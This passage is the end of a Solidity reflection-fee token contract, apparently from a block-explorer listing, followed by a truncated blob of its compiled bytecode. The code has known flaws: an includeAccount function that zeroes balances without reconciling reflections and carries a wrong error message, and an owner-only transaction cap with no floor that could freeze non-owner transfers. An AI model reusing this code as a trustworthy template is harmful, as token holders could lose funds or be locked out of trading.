_approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue);
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = ((_tTotal * maxTxPercent) / 10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rTotal = _rTotal - rAmount;
_tFeeTotal = _tFeeTotal + tAmount;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return (rAmount / currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender] - tAmount;
_rOwned[sender] = _rOwned[sender] - rAmount;
_tOwned[recipient] = _tOwned[recipient] + tTransferAmount;
_rOwned[recipient] = _rOwned[recipient] + rTransferAmount;
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal - rFee;
_tFeeTotal = _tFeeTotal + tFee;
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = ((tAmount / 100) * 4);
uint256 tTransferAmount = tAmount - tFee;
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount * currentRate;
uint256 rFee = tFee * currentRate;
uint256 rTransferAmount = rAmount - rFee;
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return (rSupply / tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply - _rOwned[_excluded[i]];
tSupply = tSupply - _tOwned[_excluded[i]];
}
if (rSupply < (_rTotal / _tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063cba0e9961161007c578063cba0e996146103ca578063d543dbeb146103fa578063dd62ed3e14610416578063f2cc0c1814610446578063f2fde38b14610462578063f84354f11461047e5761014d565b8063715018a6146103065780637d1db4a5146103105780638da5cb5b1461032e57806395d89b411461034c578063a457c2d71461036a578063a9059cbb1461039a5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a657806370a08231146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c57806313114a9d146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612d58565b61049a565b005b6101766105ff565b604051610183919061338a565b60405180910390f35b6101a660048036038101906101a19190612d1c565b610691565b6040516101b3919061336f565b60405180910390f35b6101c46106af565b6040516101d1919061356c565b60405180910390f35b6101e26106b9565b6040516101ef919061356c565b60405180910390f35b610212600480360381019061020d9190612ccd565b6106ca565b60405161021f919061336f565b60405180910390f35b610242600480360381019061023d9190612d58565b610848565b60405161024f919061356c565b60405180910390f35b6102606108af565b60405161026d9190613587565b60405180910390f35b610290600480360381019061028b9190612d1c565b6108c6565b60405161029d919061336f565b60405180910390f35b6102c060048036038101906102bb9190612d81565b610972565b6040516102cd919061356c565b60405180910390f35b6102f060048036038101906102eb9190612c68565b6109fb565b6040516102fd919061356c565b60405180910390f35b61030e610ae6565b005b610318610c20565b604051610325919061356c565b60405180910390f35b610336610c26565b6040516103439190613354565b60405180910390f35b610354610c4f565b604051610361919061338a565b60405180910390f35b610384600480360381019061037f9190612d1c565b610ce1565b604051610391919061336f565b60405180910390f35b6103b460048036038101906103af9190612d1c565b610e53565b6040516103c1919061336f565b60405180910390f35b6103e460048036038101906103df9190612c68565b610e71565b6040516103f1919061336f565b60405180910390f35b610414600480360381019061040f9190612d58565b610ec7565b005b610430600480360381019061042b9190612c91565b610f6d565b60405161043d919061356c565b60405180910390f35b610460600480360381019061045b9190612c68565b610ff4565b005b61047c60048036038101906104779190612c68565b61128f565b005b61049860048036038101906104939190612c68565b611438565b005b60006104a4611806565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052a9061352c565b60405180910390fd5b600061053e8361180e565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461058f919061369f565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806006546105e0919061369f565b600681905550826007546105f491906135be565b600781905550505050565b60606008805461060e9061375b565b80601f016020809104026020016040519081016040528092919081815260200182805461063a9061375b565b80156106875780601f1061065c57610100808354040283529160200191610687565b820191906000526020600020905b81548152906001019060200180831161066a57829003601f168201915b5050505050905090565b60006106a561069e611806565b8484611866565b6001905092915050565b6000600754905090565b6000683635c9adc5dea00000905090565b60006106d7848484611a31565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610720611806565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561079d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107949061348c565b60405180910390fd5b61083d846107a9611806565b84600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f3611806565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610838919061369f565b611866565b600190509392505050565b600060065482111561088f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610886906133cc565b60405180910390fd5b6000610899611f09565b905080836108a79190613614565b915050919050565b6000600a60009054906101000a900460ff16905090565b60006109686108d3611806565b8484600360006108e1611806565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461096391906135be565b611866565b6001905092915050565b6000683635c9adc5dea000008311156109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b79061344c565b60405180910390fd5b816109df5760006109d08461180e565b505050509050809150506109f5565b60006109ea8461180e565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610a9657600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610ae1565b610ade600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610848565b90505b919050565b610aee611806565b73ffffffffffffffffffffffffffffffffffffffff16610b0c610c26565b73ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906134ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060098054610c5e9061375b565b80601f0160208091040260200160405190810160405280929190818152602001828054610c8a9061375b565b8015610cd75780601f10610cac57610100808354040283529160200191610cd7565b820191906000526020600020905b815481529060010190602001808311610cba57829003601f168201915b5050505050905090565b600060036000610cef611806565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da09061354c565b60405180910390fd5b610e49610db4611806565b848460036000610dc2611806565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e44919061369f565b611866565b6001905092915050565b6000610e67610e60611806565b8484611a31565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ecf611806565b73ffffffffffffffffffffffffffffffffffffffff16610eed610c26565b73ffffffffffffffffffffffffffffffffffffffff1614610f43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3a906134ac565b60405180910390fd5b606481683635c9adc5dea00000610f5a9190613645565b610f649190613614565b600b8190555050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ffc611806565b73ffffffffffffffffffffffffffffffffffffffff1661101a610c26565b73ffffffffffffffffffffffffffffffffffffffff1614611070576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611067906134ac565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156110fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f49061342c565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111d15761118d600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610848565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611297611806565b73ffffffffffffffffffffffffffffffffffffffff166112b5610c26565b73ffffffffffffffffffffffffffffffffffffffff161461130b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611302906134ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561137b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611372906133ec565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b611440611806565b73ffffffffffffffffffffffffffffffffffffffff1661145e610c26565b73ffffffffffffffffffffffffffffffffffffffff16146114b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ab906134ac565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115379061342c565b60405180910390fd5b60005b600580549050811015611802578173ffffffffffffffffffffffffffffffffffffffff16600582815481106115a1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117ef57600560016005805490506115fc919061369f565b81548110611633577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660058281548110611698577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060058054806117b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611802565b80806117fa9061378d565b915050611543565b5050565b600033905090565b600080600080600080600061182288611f2d565b915091506000611830611f09565b905060008060006118428c8686611f6a565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118cd9061350c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d9061340c565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a24919061356c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a98906134ec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b08906133ac565b60405180910390fd5b60008111611b54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4b906134cc565b60405180910390fd5b611b5c610c26565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611bca5750611b9a610c26565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c1557600b54811115611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b9061346c565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611cb85750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ccd57611cc8838383611fb3565b611f04565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d705750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8557611d808383836121f1565b611f03565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611e295750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611e3e57611e3983838361242f565b611f02565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611ee05750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611ef557611ef08383836125df565b611f01565b611f0083838361242f565b5b5b5b5b505050565b6000806000611f166128ab565b915091508082611f269190613614565b9250505090565b60008060006004606485611f419190613614565b611f4b9190613645565b905060008185611f5b919061369f565b90508082935093505050915091565b6000806000808487611f7c9190613645565b905060008587611f8c9190613645565b905060008183611f9c919061369f565b905082818395509550955050505093509350939050565b6000806000806000611fc48661180e565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612019919061369f565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a7919061369f565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213591906135be565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506121828382612bfd565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516121df919061356c565b60405180910390a35050505050505050565b60008060008060006122028661180e565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612257919061369f565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e591906135be565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461237391906135be565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123c08382612bfd565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161241d919061356c565b60405180910390a35050505050505050565b60008060008060006124408661180e565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612495919061369f565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252391906135be565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125708382612bfd565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125cd919061356c565b60405180910390a35050505050505050565b60008060008060006125f08661180e565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612645919061369f565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126d3919061369f565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461276191906135be565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546127ef91906135be565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283c8382612bfd565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612899919061356c565b60405180910390a35050505050505050565b600080600060065490506000683635c9adc5dea00000905060005b600580549050811015612bb957826001600060058481548110612912577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180612a2657508160026000600584815481106129be577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15612a4457600654683635c9adc5dea0000094509450505050612bf9565b6001600060058381548110612a82577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483612af3919061369f565b92506002600060058381548110612b33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612ba4919061369f565b91508080612bb19061378d565b9150506128c6565b50683635c9adc5dea00000600654612bd19190613614565b821015612bf057600654683635c9adc5dea00000935093505050612bf9565b81819350935050505b9091565b81600654612c0b919061369f565b60068190555080600754612c1f91906135be565b6007819055505050565b600081359050612c3881613874565b92915050565b600081359050612c4d8161388b565b92915050565b600081359050612c62816138a2565b92915050565b600060208284031215612c7a57600080fd5b6000612c8884828501612c29565b91505092915050565b60008060408385031215612ca457600080fd5b6000612cb285828601612c29565b9250506020612cc385828601612c29565b9150509250929050565b600080600060608486031215612ce257600080fd5b6000612cf086828701612c29565b9350506020612d0186828701612c29565b9250506040612d1286828701612c53565b9150509250925092565b60008060408385031215612d2f57600080fd5b6000612d3d85828601612c29565b9250506020612d4e85828601612c53565b9150509250929050565b600060208284031215612d6a57600080fd5b6000612d7884828501612c53565b91505092915050565b60008060408385031215612d9457600080fd5b6000612da285828601612c53565b9250506020612db385828601612c3e565b9150509250929050565b612dc6816136d3565b82525050565b612dd5816136e5565b82525050565b6000612de6826135a2565b612df081856135ad565b9350612e00818560208601613728565b612e0981613863565b840191505092915050565b6000612e216023836135ad565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612e87602a836135ad565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b6000612eed6026836135ad565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612f536022836135ad565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612fb9601b836135ad565b91507f4163636f756e7420697320616c7265616479206578636c7564656400000000006000830152602082019050919050565b6000612ff9601f836135ad565b91507f416d6f756e74206d757374206265206c657373207468616e20737570706c79006000830152602082019050919050565b60006130396028836135ad565b91507f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008301527f78416d6f756e742e0000000000000000000000000000000000000000000000006020830152604082019050919050565b600061309f6028836135ad565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206160008301527f6c6c6f77616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006131056020836135ad565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b60006131456029836135ad565b91507f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008301527f7468616e207a65726f00000000000000000000000000000000000000000000006020830152604082019050919050565b60006131ab6025836135ad565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006132116024836135ad565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613277602c836135ad565b91507f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008301527f6869732066756e6374696f6e00000000000000000000000000000000000000006020830152604082019050919050565b60006132dd6025836135ad565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b61333f81613711565b82525050565b61334e8161371b565b82525050565b60006020820190506133696000830184612dbd565b92915050565b60006020820190506133846000830184612dcc565b92915050565b600060208201905081810360008301526133a48184612ddb565b905092915050565b600060208201905081810360008301526133c581612e14565b9050919050565b600060208201905081810360008301526133e581612e7a565b9050919050565b6000602082019050818103600083015261340581612ee0565b9050919050565b6000602082019050818103600083015261342581612f46565b9050919050565b6000602082019050818103600083015261344581612fac565b9050919050565b6000602082019050818103600083015261346581612fec565b9050919050565b600060208201905081810360008301526134858161302c565b9050919050565b600060208201905081810360008301526134a581613092565b